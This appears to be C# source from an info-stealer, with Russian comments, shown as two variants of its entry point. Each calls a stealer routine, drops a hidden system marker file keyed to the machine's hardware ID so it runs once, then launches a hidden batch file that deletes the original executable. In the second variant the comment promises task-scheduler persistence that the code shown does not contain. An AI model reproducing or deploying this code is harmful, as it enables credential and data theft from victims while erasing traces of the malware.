private static void Main() { // Подключаем DotNetZip.dll, должен быть в ресурсах проекта и подключен как ссылка AppDomain.CurrentDomain.AssemblyResolve += AppDomain_AssemblyResolve; Assembly AppDomain_AssemblyResolve(object sender, ResolveEventArgs args) { if (args.Name.Contains("DotNetZip")) { return(Assembly.Load(Resources.DotNetZip)); } return(null); } if (File.Exists(Help.LocalData + "\\" + Help.HWID)) { if (!File.ReadAllText(Help.LocalData + "\\" + Help.HWID).Contains(Help.HWID)) { // Запускаем стиллер Stealer.GetStealer(); } else { Environment.Exit(0); } } else { Stealer.GetStealer(); File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID); File.SetAttributes(Help.LocalData + "\\" + Help.HWID, FileAttributes.Hidden | FileAttributes.System); } // Самоудаление после отправки лога string batch = Path.GetTempFileName() + ".bat"; using (StreamWriter sw = new StreamWriter(batch)) { sw.WriteLine("@echo off"); sw.WriteLine("timeout 4 > NUL"); // Задержка до выполнения следуюющих команд sw.WriteLine("DEL " + "\"" + Path.GetFileName(new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name) + "\"" + " /f /q"); // Удаляем исходный билд } Process.Start(new ProcessStartInfo() { FileName = batch, CreateNoWindow = true, ErrorDialog = false, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }); Environment.Exit(0); }
private static void Main(string[] args) { if (File.Exists(Help.LocalData + "\\" + Help.HWID)) { if (!File.ReadAllText(Help.LocalData + "\\" + Help.HWID).Contains(Help.HWID)) { // Запускаем стиллер Stealer.GetStealer(); } else { Environment.Exit(0); } } else { Stealer.GetStealer(); File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID); File.SetAttributes(Help.LocalData + "\\" + Help.HWID, FileAttributes.Hidden | FileAttributes.System); } // Самоудаление и добавление в планировщик задач с интервалом в 4 минуты string batch = Path.GetTempFileName() + ".bat"; using (StreamWriter sw = new StreamWriter(batch)) { sw.WriteLine("@echo off"); sw.WriteLine("timeout 4 > NUL"); // Задержка до выполнения следуюющих команд sw.WriteLine("DEL " + "\"" + Path.GetFileName(new FileInfo(new Uri(Assembly.GetExecutingAssembly().CodeBase).LocalPath).Name) + "\"" + " /f /q"); // Удаляем исходный билд } Process.Start(new ProcessStartInfo() { FileName = batch, CreateNoWindow = true, ErrorDialog = false, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }); Environment.Exit(0); }